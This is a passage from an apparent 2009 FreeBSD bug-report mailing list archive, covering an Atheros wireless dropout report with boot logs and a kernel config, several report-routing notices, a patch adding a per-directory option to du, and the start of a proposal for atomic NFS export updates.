1 on hdac0 pcm0: +--------------------------------------+ pcm0: | DUMPING PCM Playback/Record Channels | pcm0: +--------------------------------------+ pcm0: pcm0: Playback: pcm0: pcm0: Stream cap: 0x00000001 pcm0: PCM pcm0: PCM cap: 0x000e07e0 pcm0: 16 20 24 bits, 44 48 88 96 176 192 KHz pcm0: DAC: 2 pcm0: pcm0: Record: pcm0: pcm0: Stream cap: 0x00000001 pcm0: PCM pcm0: PCM cap: 0x000e07e0 pcm0: 16 20 24 bits, 44 48 88 96 176 192 KHz pcm0: ADC: 3 pcm0: pcm0: +-------------------------------+ pcm0: | DUMPING Playback/Record Paths | pcm0: +-------------------------------+ pcm0: pcm0: Playback: pcm0: pcm0: nid=14 [pin: Line-out (Fixed)] pcm0: | pcm0: + <- nid=11 [audio selector] [src: pcm] pcm0: | pcm0: + <- nid=7 [audio selector] [src: pcm] pcm0: | pcm0: + <- nid=2 [audio output] [src: pcm] pcm0: pcm0: Record: pcm0: pcm0: nid=3 [audio input] pcm0: | pcm0: + <- nid=10 [audio selector] [src: line, monitor] pcm0: | pcm0: + <- nid=12 [audio selector] [src: line, monitor] pcm0: | pcm0: + <- nid=16 [pin: Mic (Fixed)] [src: monitor] pcm0: + <- nid=15 [pin: Line-in (Black Jack)] [src: line] pcm0: pcm0: +-------------------------+ pcm0: | DUMPING Volume Controls | pcm0: +-------------------------+ pcm0: pcm0: Master Volume (OSS: vol) pcm0: | pcm0: +- ctl 2 (nid 11 out): -46/0dB (32 steps) + mute pcm0: pcm0: PCM Volume (OSS: pcm) pcm0: | pcm0: +- ctl 2 (nid 11 out): -46/0dB (32 steps) + mute pcm0: pcm0: Speaker/Beep Volume (OSS: speaker) pcm0: | pcm0: +- ctl 5 (nid 20 out): -18/0dB (4 steps) + mute pcm0: pcm0: Recording Level (OSS: rec) pcm0: | pcm0: +- ctl 1 (nid 10 out): 0/22dB (16 steps) + mute pcm0: +- ctl 3 (nid 12 out): 0/40dB (5 steps) pcm0: pcm0: Mixer "vol": pcm0: Mixer "pcm": pcm0: Mixer "speaker": pcm0: Mixer "rec": pcm0: clone manager: deadline=750ms flags=0x8000001e pcm0: sndbuf_setmap 15d0000, 4000; 0xf64bd000 -> 15d0000 pcm0: sndbuf_setmap 15e0000, 4000; 0xf64cd000 -> 15e0000 SMP: AP CPU #1 Launched! cpu1 AP: ID: 0x01000000 VER: 0x00050014 LDR: 0x00000000 DFR: 0xffffffff lint0: 0x00010700 lint1: 0x00000400 TPR: 0x00000000 SVR: 0x000001ff timer: 0x000200ef therm: 0x00010200 err: 0x00010000 pcm: 0x00010000 ioapic0: routing intpin 9 (ISA IRQ 9) to lapic 1 vector 48 ioapic0: routing intpin 14 (ISA IRQ 14) to lapic 1 vector 49 ioapic0: routing intpin 16 (PCI IRQ 16) to lapic 1 vector 50 ioapic0: routing intpin 19 (PCI IRQ 19) to lapic 1 vector 51 ioapic0: routing intpin 23 (PCI IRQ 23) to lapic 1 vector 52 pcib5: requested memory range 0x88000000-0xffffffff: good unknown: Lazy allocation of 0x10000 bytes rid 0x10 type 3 at 0xd0010000 unknown: Reserved 0x10000 bytes for rid 0x10 type 3 at 0xd0010000 cbb0: Opening memory: cbb0: Normal: 0xd0010000-0xd001ffff cbb0: Opening memory: pcib5: requested memory range 0xd0010000-0xd001ffff: good cbb0: Opening memory: cbb0: Normal: 0xd0010000-0xd001ffff cbb0: Opening memory: map[10]: type Memory, range 32, base 0, size 16, enabled pcib5: requested memory range 0x88000000-0xffffffff: good found-> vendor=0x168c, dev=0x0013, revid=0x01 domain=0, bus=7, slot=0, func=0 class=02-00-00, hdrtype=0x00, mfdev=0 cmdreg=0x0002, statreg=0x0290, cachelnsz=0 (dwords) lattimer=0x00 (0 ns), mingnt=0x0a (2500 ns), maxlat=0x1c (7000 ns) intpin=a, irq=21 powerspec 2 supports D0 D3 current D0 ath0: mem 0xd0010000-0xd001ffff irq 21 at device 0.0 on cardbus0 ath0: Reserved 0x10000 bytes for rid 0x10 type 3 at 0xd0010000 cbb0: Opening memory: cbb0: Normal: 0xd0010000-0xd001ffff ath0: [MPSAFE] ath0: [ITHREAD] ath0: 11a rates: 6Mbps 9Mbps 12Mbps 18Mbps 24Mbps 36Mbps 48Mbps 54Mbps ath0: 11b rates: 1Mbps 2Mbps 5.5Mbps 11Mbps ath0: 11g rates: 1Mbps 2Mbps 5.5Mbps 11Mbps 6Mbps 9Mbps 12Mbps 18Mbps 24Mbps 36Mbps 48Mbps 54Mbps ath0: turboA rates: 6Mbps 9Mbps 12Mbps 18Mbps 24Mbps 36Mbps 48Mbps 54Mbps ath0: turboG rates: 1Mbps 2Mbps 5.5Mbps 11Mbps 6Mbps 9Mbps 12Mbps 18Mbps 24Mbps 36Mbps 48Mbps 54Mbps ath0: sturboA rates: 6Mbps 9Mbps 12Mbps 18Mbps 24Mbps 36Mbps 48Mbps 54Mbps ath0: AR5212 mac 5.9 RF5112 phy 4.3 ath0: Use hw queue 1 for WME_AC_BE traffic ath0: Use hw queue 0 for WME_AC_BK traffic ath0: Use hw queue 2 for WME_AC_VI traffic ath0: Use hw queue 3 for WME_AC_VO traffic ath0: Use hw queue 8 for CAB traffic ath0: Use hw queue 9 for beacons uhub3: 2 ports with 2 removable, self powered uhub1: 2 ports with 2 removable, self powered uhub0: 2 ports with 2 removable, self powered uhub2: 2 ports with 2 removable, self powered Root mount waiting for: usbus4 acd0: FAILURE - INQUIRY ILLEGAL REQUEST asc=0x24 ascq=0x00 (probe0:ata1:0:0:0): error 22 (probe0:ata1:0:0:0): Unretryable Error (probe0:ata1:0:0:0): Down reving Protocol Version from 2 to 0? (probe0:ata1:0:0:0): TEST UNIT READY. CDB: 0 0 0 0 0 0 (probe0:ata1:0:0:0): CAM Status: SCSI Status Error (probe0:ata1:0:0:0): SCSI Status: Check Condition (probe0:ata1:0:0:0): NOT READY asc:3a,0 (probe0:ata1:0:0:0): Medium not present (probe0:ata1:0:0:0): (probe0:ata1:0:0:0): TEST UNIT READY. CDB: 0 0 0 0 0 0 (probe0:ata1:0:0:0): NOT READY asc:3a,0 (probe0:ata1:0:0:0): Medium not present Unretryable error (probe0:ata1:0:0:0): error 6 (probe0:ata1:0:0:0): Unretryable Error pass0 at ata1 bus 0 target 0 lun 0 pass0: Removable CD-ROM SCSI-0 device pass0: 33.000MB/s transfers GEOM: new disk cd0 (cd0:ata1:0:0:0): error 6 (cd0:ata1:0:0:0): Unretryable Error cd0 at ata1 bus 0 target 0 lun 0 cd0: Removable CD-ROM SCSI-0 device cd0: 33.000MB/s transfers cd0: Attempt to query device size failed: NOT READY, Medium not present (cd0:ata1:0:0:0): error 6 (cd0:ata1:0:0:0): Unretryable Error (cd0:ata1:0:0:0): error 6 (cd0:ata1:0:0:0): Unretryable Error (cd0:ata1:0:0:0): error 6 (cd0:ata1:0:0:0): Unretryable Error Root mount waiting for: usbus4 Root mount waiting for: usbus4 uhub4: 8 ports with 8 removable, self powered Root mount waiting for: usbus4 Trying to mount root from zfs:tank ugen0.2: at usbus0 ugen1.2: at usbus1 ums0: on usbus0 ums0: 3 buttons and [XYZ] coordinates ID=0 ct_to_ts([2009-07-16 22:11:47]) = 1247782307.000000000 start_init: trying /sbin/init wlan0: bpf attached wlan0: bpf attached wlan0: Ethernet address: 00:12:17:6e:e3:10 nfslock: pseudo-device link_elf: symbol dev2unit undefined wlan0: link state changed to UP linprocfs registered linsysfs registered battery1: battery initialization failed, giving up KERNEL CONFIG: ident CATALYST maxusers 0 options MAXMEM=(3328*1024) ##################################################################### # CPU OPTIONS cpu I686_CPU # aka Pentium Pro(tm) options SMP # Symmetric MultiProcessor Kernel device apic # I/O APIC makeoptions MODULES_OVERRIDE="acpi/acpi acpi/acpi_toshiba \ md ntfs ntfs_iconv linux linprocfs linsysfs zfs \ krpc firewire/firewire firewire/sbp firewire/fwe \ firewire/fwip netgraph/netgraph netgraph/bluetooth \ netgraph/socket mii em firmware sound/sound \ sound/driver/hda ath wpi wpifw opensolaris \ cpufreq coretemp aio" options INCLUDE_CONFIG_FILE # Include this file in kernel nooption KSE options KVA_PAGES=320 ##################################################################### # Scheduler options: # #options SCHED_4BSD options SCHED_ULE options PREEMPTION #options MPTABLE_FORCE_HTT # Enable HTT CPUs with the MP Table #options ADAPTIVE_GIANT # Giant mutex is adaptive. options STOP_NMI # Stop CPUS using NMI instead of IPI ##################################################################### # COMPATIBILITY OPTIONS options SYSVMSG options SYSVSHM options SYSVSEM ##################################################################### # DEBUGGING OPTIONS options KTRACE #kernel tracing speed ##################################################################### # NETWORKING OPTIONS options INET #Internet communications protocols options INET6 # IPv6 communications protocols options SCTP # Stream Control Transmission Protocol device ether #Generic Ethernet device loop #Network loopback device device bpf #Berkeley packet filter device random device pf #PF OpenBSD packet-filter firewall device pflog #logging support interface for PF options ALTQ options ALTQ_CBQ # Class Bases Queueing options ALTQ_RED # Random Early Detection options ALTQ_RIO # RED In/Out options ALTQ_HFSC # Hierarchical Packet Scheduler options ALTQ_CDNR # Traffic conditioner options ALTQ_PRIQ # Priority Queueing options ZERO_COPY_SOCKETS options ACCEPT_FILTER_DATA options ACCEPT_FILTER_HTTP ##################################################################### # FILESYSTEM OPTIONS options FFS #Fast filesystem options PROCFS #Process filesystem (requires PSEUDOFS) options PSEUDOFS #Pseudo-filesystem framework options SOFTUPDATES options MSDOSFS options MSDOSFS_ICONV options TMPFS options NFSCLIENT #Network File System client options NFSSERVER #Network File System server options NFSLOCKD #Network Lock Manager options NFSCL #experimental NFS client with NFSv4 options NFSD #experimental NFS server with NFSv4 options CD9660 options CD9660_ICONV options UFS_ACL options UFS_DIRHASH options GEOM_LABEL # Providers labelization. options GEOM_VOL # Volume names from UFS superblock nooption GEOM_BSD # BSD disklabel nooption GEOM_MBR # GPT partitioning #options GEOM_PART_BSD # BSD disklabel options GEOM_PART_GPT # GPT partitioning #options GEOM_PART_MBR # MBR partitioning options LIBICONV ##################################################################### # POSIX P1003.1B options _KPOSIX_PRIORITY_SCHEDULING #options P1003_1B_SEMAPHORES ##################################################################### # CLOCK OPTIONS #options HZ=100 ##################################################################### # SCSI DEVICES device scbus #base SCSI code device da #SCSI direct access devices (aka disks) device cd #SCSI CD-ROMs device pass #CAM passthrough driver ##################################################################### # MISCELLANEOUS DEVICES AND OPTIONS device pty #Pseudo ttys device md #Memory/malloc disk ##################################################################### # crypto subsystem device crypto device cryptodev ##################################################################### # HARDWARE BUS CONFIGURATION device pci device agp ##################################################################### # HARDWARE DEVICE CONFIGURATION device atkbdc device atkbd options KBD_INSTALL_CDEV # install a CDEV entry in /dev device psm options PSM_HOOKRESUME #hook the system resume event, useful options PSM_RESETAFTERSUSPEND #reset the device at the resume event device vga options VESA device speaker #Play IBM BASIC-style noises out your speaker device sc options SC_ALT_MOUSE_IMAGE # simplified mouse cursor in text mode options SC_PIXEL_MODE # add support for the raster text mode options SC_TWOBUTTON_MOUSE device ata device atadisk # ATA disk drives device atapicd # ATAPI CDROM drives device atapicam # emulate ATAPI devices as SCSI ditto via CAM # needs CAM to be present (scbus & pass) # USB support device uhci # UHCI PCI->USB interface device ohci # OHCI PCI->USB interface device ehci # EHCI PCI->USB interface (USB 2.0) device usb # USB Bus (required) device uhid # "Human Interface Devices" device ukbd # Keyboard device ulpt # Printer device umass # Disks/Mass storage - Requires scbus and da device ums # Mouse device uart device cbb device pccard device cardbus device wlan device wlan_wep # 802.11 WEP support device wlan_ccmp # 802.11 CCMP support device wlan_tkip # 802.11 TKIP support device wlan_amrr # AMRR transmit rate control algorithm >How-To-Repeat: Boot, let system run overnight. Wait for network functionality to drop. >Fix: >Release-Note: >Audit-Trail: >Unformatted: From owner-freebsd-bugs@FreeBSD.ORG Fri Jul 17 04:09:35 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 48C8F106566C; Fri, 17 Jul 2009 04:09:35 +0000 (UTC) (envelope-from linimon@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id 1E3AB8FC08; Fri, 17 Jul 2009 04:09:35 +0000 (UTC) (envelope-from linimon@FreeBSD.org) Received: from freefall.freebsd.org (linimon@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6H49Zr7084329; Fri, 17 Jul 2009 04:09:35 GMT (envelope-from linimon@freefall.freebsd.org) Received: (from linimon@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6H49YLg084325; Fri, 17 Jul 2009 04:09:34 GMT (envelope-from linimon) Date: Fri, 17 Jul 2009 04:09:34 GMT Message-Id: <200907170409.n6H49YLg084325@freefall.freebsd.org> To: linimon@FreeBSD.org, freebsd-bugs@FreeBSD.org, freebsd-net@FreeBSD.org From: linimon@FreeBSD.org Cc: Subject: Re: kern/136836: [ath] atheros card stops functioning after about 12 hours uptime X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 17 Jul 2009 04:09:35 -0000 Old Synopsis: atheros card stops functioning after about 12 hours uptime New Synopsis: [ath] atheros card stops functioning after about 12 hours uptime Responsible-Changed-From-To: freebsd-bugs->freebsd-net Responsible-Changed-By: linimon Responsible-Changed-When: Fri Jul 17 04:09:22 UTC 2009 Responsible-Changed-Why: Over to maintainer(s). http://www.freebsd.org/cgi/query-pr.cgi?pr=136836 From owner-freebsd-bugs@FreeBSD.ORG Fri Jul 17 04:14:34 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 626A8106566C; Fri, 17 Jul 2009 04:14:34 +0000 (UTC) (envelope-from linimon@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id 37F9B8FC12; Fri, 17 Jul 2009 04:14:34 +0000 (UTC) (envelope-from linimon@FreeBSD.org) Received: from freefall.freebsd.org (linimon@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6H4EYR8092556; Fri, 17 Jul 2009 04:14:34 GMT (envelope-from linimon@freefall.freebsd.org) Received: (from linimon@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6H4EYMZ092552; Fri, 17 Jul 2009 04:14:34 GMT (envelope-from linimon) Date: Fri, 17 Jul 2009 04:14:34 GMT Message-Id: <200907170414.n6H4EYMZ092552@freefall.freebsd.org> To: linimon@FreeBSD.org, freebsd-bugs@FreeBSD.org, freebsd-pf@FreeBSD.org From: linimon@FreeBSD.org Cc: Subject: Re: kern/136781: [pf] Packets appear to drop with pf scrub and if_bridge X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 17 Jul 2009 04:14:34 -0000 Old Synopsis: Packets appear to drop with pf scrub and if_bridge New Synopsis: [pf] Packets appear to drop with pf scrub and if_bridge Responsible-Changed-From-To: freebsd-bugs->freebsd-pf Responsible-Changed-By: linimon Responsible-Changed-When: Fri Jul 17 04:14:12 UTC 2009 Responsible-Changed-Why: Over to maintainer(s). http://www.freebsd.org/cgi/query-pr.cgi?pr=136781 From owner-freebsd-bugs@FreeBSD.ORG Fri Jul 17 04:15:52 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id F2C2C10656CD; Fri, 17 Jul 2009 04:15:51 +0000 (UTC) (envelope-from linimon@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id C83D88FC16; Fri, 17 Jul 2009 04:15:51 +0000 (UTC) (envelope-from linimon@FreeBSD.org) Received: from freefall.freebsd.org (linimon@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6H4FpNe092618; Fri, 17 Jul 2009 04:15:51 GMT (envelope-from linimon@freefall.freebsd.org) Received: (from linimon@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6H4Fp9R092614; Fri, 17 Jul 2009 04:15:51 GMT (envelope-from linimon) Date: Fri, 17 Jul 2009 04:15:51 GMT Message-Id: <200907170415.n6H4Fp9R092614@freefall.freebsd.org> To: linimon@FreeBSD.org, freebsd-bugs@FreeBSD.org, freebsd-net@FreeBSD.org From: linimon@FreeBSD.org Cc: Subject: Re: kern/136803: [sctp] [panic] Kernel panic and hanging on using SCTP X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 17 Jul 2009 04:15:52 -0000 Old Synopsis: Kernel panic and hanging on using SCTP New Synopsis: [sctp] [panic] Kernel panic and hanging on using SCTP Responsible-Changed-From-To: freebsd-bugs->freebsd-net Responsible-Changed-By: linimon Responsible-Changed-When: Fri Jul 17 04:15:38 UTC 2009 Responsible-Changed-Why: Over to maintainer(s). http://www.freebsd.org/cgi/query-pr.cgi?pr=136803 From owner-freebsd-bugs@FreeBSD.ORG Fri Jul 17 08:10:06 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 3765E1065674 for ; Fri, 17 Jul 2009 08:10:06 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id 113338FC17 for ; Fri, 17 Jul 2009 08:10:06 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (gnats@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6H8A5AS015513 for ; Fri, 17 Jul 2009 08:10:05 GMT (envelope-from gnats@freefall.freebsd.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6H8A5aU015512; Fri, 17 Jul 2009 08:10:05 GMT (envelope-from gnats) Resent-Date: Fri, 17 Jul 2009 08:10:05 GMT Resent-Message-Id: <200907170810.n6H8A5aU015512@freefall.freebsd.org> Resent-From: FreeBSD-gnats-submit@FreeBSD.org (GNATS Filer) Resent-To: freebsd-bugs@FreeBSD.org Resent-Reply-To: FreeBSD-gnats-submit@FreeBSD.org, "P.Moulin" Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E211D106564A for ; Fri, 17 Jul 2009 08:04:01 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (www.freebsd.org [IPv6:2001:4f8:fff6::21]) by mx1.freebsd.org (Postfix) with ESMTP id CF9BE8FC0A for ; Fri, 17 Jul 2009 08:04:01 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (localhost [127.0.0.1]) by www.freebsd.org (8.14.3/8.14.3) with ESMTP id n6H841dx036847 for ; Fri, 17 Jul 2009 08:04:01 GMT (envelope-from nobody@www.freebsd.org) Received: (from nobody@localhost) by www.freebsd.org (8.14.3/8.14.3/Submit) id n6H841mH036843; Fri, 17 Jul 2009 08:04:01 GMT (envelope-from nobody) Message-Id: <200907170804.n6H841mH036843@www.freebsd.org> Date: Fri, 17 Jul 2009 08:04:01 GMT From: "P.Moulin" To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-3.1 Cc: Subject: bin/136857: "du" command: patch commited to permit per directory only sum (no heritage). X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 17 Jul 2009 08:10:06 -0000 >Number: 136857 >Category: bin >Synopsis: "du" command: patch commited to permit per directory only sum (no heritage). >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: update >Submitter-Id: current-users >Arrival-Date: Fri Jul 17 08:10:05 UTC 2009 >Closed-Date: >Last-Modified: >Originator: P.Moulin >Release: 8.0b1 >Organization: Calyopea >Environment: FreeBSD nc4000 8.0-BETA1 FreeBSD 8.0-BETA1 #0: Sat Jul 4 03:55:14 UTC 2009 root@almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386 >Description: When using "du", no option permit only per directories files sum. here is a patch (option -N (No heritage)) to solve this. Warning, the mail address given below is a spamtrap. Good email is : p.moulin (at) calyopea_donotfeedanimals (dot) com (remove _donotfeedanimals) >How-To-Repeat: >Fix: Patch attached with submission follows: diff -C 5 du_ORIG/du.1 du/du.1 *** du_ORIG/du.1 Sun Mar 15 05:04:51 2009 --- du/du.1 Fri Jul 17 09:05:12 2009 *************** *** 39,50 **** .Nm du .Nd display disk usage statistics .Sh SYNOPSIS .Nm .Op Fl A ! .Op Fl H | L | P ! .Op Fl a | s | d Ar depth .Op Fl c .Op Fl l .Op Fl h | k | m | B Ar blocksize .Op Fl n .Op Fl x --- 39,50 ---- .Nm du .Nd display disk usage statistics .Sh SYNOPSIS .Nm .Op Fl A ! .Op Fl H | L | P ! .Op Fl a | s | N | d Ar depth .Op Fl c .Op Fl l .Op Fl h | k | m | B Ar blocksize .Op Fl n .Op Fl x *************** *** 89,98 **** --- 89,101 ---- Ignore files and directories matching the specified .Ar mask . .It Fl P No symbolic links are followed. This is the default. + .It Fl N + Print sum of files within directories only: do not heritate of children's + directory size. .It Fl a Display an entry for each file in a file hierarchy. .It Fl h "Human-readable" output. Use unit suffixes: Byte, Kilobyte, Megabyte, Only in du: du.1.gz diff -C 5 du_ORIG/du.c du/du.c *** du_ORIG/du.c Sun Mar 15 05:04:51 2009 --- du/du.c Fri Jul 17 08:58:47 2009 *************** *** 89,117 **** FTSENT *p; off_t savednumber, curblocks; int ftsoptions; int listall; int depth; ! int Hflag, Lflag, Pflag, aflag, sflag, dflag, cflag; int hflag, lflag, ch, notused, rval; char **save; static char dot[] = "."; setlocale(LC_ALL, ""); Hflag = Lflag = Pflag = aflag = sflag = dflag = cflag = hflag = ! lflag = Aflag = 0; save = argv; ftsoptions = 0; savednumber = 0; cblocksize = DEV_BSIZE; blocksize = 0; depth = INT_MAX; SLIST_INIT(&ignores); ! while ((ch = getopt(argc, argv, "AB:HI:LPasd:chklmnrx")) != -1) switch (ch) { case 'A': Aflag = 1; break; case 'B': --- 89,117 ---- FTSENT *p; off_t savednumber, curblocks; int ftsoptions; int listall; int depth; ! int Hflag, Lflag, Pflag, Nflag, aflag, sflag, dflag, cflag; int hflag, lflag, ch, notused, rval; char **save; static char dot[] = "."; setlocale(LC_ALL, ""); Hflag = Lflag = Pflag = aflag = sflag = dflag = cflag = hflag = ! lflag = Aflag = Nflag = 0; save = argv; ftsoptions = 0; savednumber = 0; cblocksize = DEV_BSIZE; blocksize = 0; depth = INT_MAX; SLIST_INIT(&ignores); ! while ((ch = getopt(argc, argv, "AB:HI:LPNasd:chklmnrx")) != -1) switch (ch) { case 'A': Aflag = 1; break; case 'B': *************** *** 137,146 **** --- 137,149 ---- case 'P': if (Lflag) usage(); Pflag = 1; break; + case 'N': + Nflag = 1; + break; case 'a': aflag = 1; break; case 's': sflag = 1; *************** *** 203,212 **** --- 206,218 ---- */ if (Hflag + Lflag + Pflag > 1) usage(); + if (sflag + Nflag > 1) /* meaningless */ + usage(); + if (Hflag + Lflag + Pflag == 0) Pflag = 1; /* -P (physical) is default */ if (Hflag) ftsoptions |= FTS_COMFOLLOW; *************** *** 262,274 **** break; curblocks = Aflag ? howmany(p->fts_statp->st_size, cblocksize) : howmany(p->fts_statp->st_blocks, cblocksize); ! p->fts_parent->fts_bignum += p->fts_bignum += ! curblocks; ! if (p->fts_level <= depth) { if (hflag) { prthumanval(p->fts_bignum); (void)printf("\t%s\n", p->fts_path); } else { --- 268,281 ---- break; curblocks = Aflag ? howmany(p->fts_statp->st_size, cblocksize) : howmany(p->fts_statp->st_blocks, cblocksize); ! if (!Nflag) { ! p->fts_parent->fts_bignum += p->fts_bignum += ! curblocks; ! } if (p->fts_level <= depth) { if (hflag) { prthumanval(p->fts_bignum); (void)printf("\t%s\n", p->fts_path); } else { >Release-Note: >Audit-Trail: >Unformatted: From owner-freebsd-bugs@FreeBSD.ORG Fri Jul 17 11:20:05 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id BDFF7106566C for ; Fri, 17 Jul 2009 11:20:05 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id 932D28FC2D for ; Fri, 17 Jul 2009 11:20:05 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (gnats@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6HBK561049766 for ; Fri, 17 Jul 2009 11:20:05 GMT (envelope-from gnats@freefall.freebsd.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6HBK517049765; Fri, 17 Jul 2009 11:20:05 GMT (envelope-from gnats) Resent-Date: Fri, 17 Jul 2009 11:20:05 GMT Resent-Message-Id: <200907171120.n6HBK517049765@freefall.freebsd.org> Resent-From: FreeBSD-gnats-submit@FreeBSD.org (GNATS Filer) Resent-To: freebsd-bugs@FreeBSD.org Resent-Reply-To: FreeBSD-gnats-submit@FreeBSD.org, Andrey Simonenko Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 24434106564A for ; Fri, 17 Jul 2009 11:13:26 +0000 (UTC) (envelope-from simon@comsys.ntu-kpi.kiev.ua) Received: from comsys.ntu-kpi.kiev.ua (comsys.ntu-kpi.kiev.ua [77.47.192.42]) by mx1.freebsd.org (Postfix) with ESMTP id D91CE8FC17 for ; Fri, 17 Jul 2009 11:12:51 +0000 (UTC) (envelope-from simon@comsys.ntu-kpi.kiev.ua) Received: from pm513-1.comsys.ntu-kpi.kiev.ua (pm513-1.comsys.ntu-kpi.kiev.ua [10.18.52.101]) (authenticated bits=0) by comsys.ntu-kpi.kiev.ua (8.13.7/8.13.7) with ESMTP id n6HBCkU3032553 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 17 Jul 2009 14:12:46 +0300 (EEST) Received: by pm513-1.comsys.ntu-kpi.kiev.ua (Postfix, from userid 1001) id 120F71CC39; Fri, 17 Jul 2009 14:12:49 +0300 (EEST) Message-Id: <20090717111248.GA43585@pm513-1.comsys.ntu-kpi.kiev.ua> Date: Fri, 17 Jul 2009 14:12:48 +0300 From: Andrey Simonenko To: FreeBSD-gnats-submit@FreeBSD.org Cc: Subject: kern/136865: NFS exports atomic and on-the-fly atomic updates X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 17 Jul 2009 11:20:06 -0000 >Number: 136865 >Category: kern >Synopsis: NFS exports atomic and on-the-fly atomic updates >Confidential: no >Severity: serious >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Fri Jul 17 11:20:05 UTC 2009 >Closed-Date: >Last-Modified: >Originator: Andrey Simonenko >Release: FreeBSD 7.2-STABLE amd64 >Organization: >Environment: FreeBSD 7.2-STABLE, but possible to modify for 8.0. >Description: Here I want to describe changes that allow to make atomic updates of NFS exports lists, dynamic on-the-fly atomic updates of NFS exports lists and improve security of NFS exports. Solved tasks: ------------- 1. NFS export specifications (spec -- for short) updates are atomic. NFS server's users will not get EACCES for exported file systems or wrong access rights while exports list is reloaded. 2. The mountd utility has an option for testing configuration, now one can check and see real configuration not loading it into nfsserver. 3. The mountd utility does not load incomplete settings to nfsserver, wrong configuration will not allow denied exports. 4. Atomic on-the-fly modifications of NFS export specifications were implemented, it is possible to change exports settings dynamically. 5. If some file system is mounted or unmounted, then SIGHUP signal sending to mountd is not required, this change removes several race conditions. 6. NFS exports related code is a part of nfsserver/ code, NFS export related data can be removed from directories not related to NFS. Which actions are atomic? ------------------------- 1. Loading export settings from exports(5) file into nfsserver is atomic for each exported file system and for all exported file systems. 2. Loading updates into nfsserver is atomic for each exported file system and for all exported file systems. 3. If a file system was mounted, then loading export settings for it into nfssever is atomic for this file system. Which actions are not atomic? ----------------------------- 1. Loading export specifications for WebNFS file system and specifying WebNFS related settings require more than one system call. 2. Since VFS events such as mounting and unmounting are asynchronous, events for all exported and not exported file systems are checked as separate system calls. Since nmount(2) is not used in this implementation and subdirectories exports are not allowed, it is unlikely that these changes will be accepted. If absence of insecure subdirectories exports is not a problem, then it it is possible to support both existent 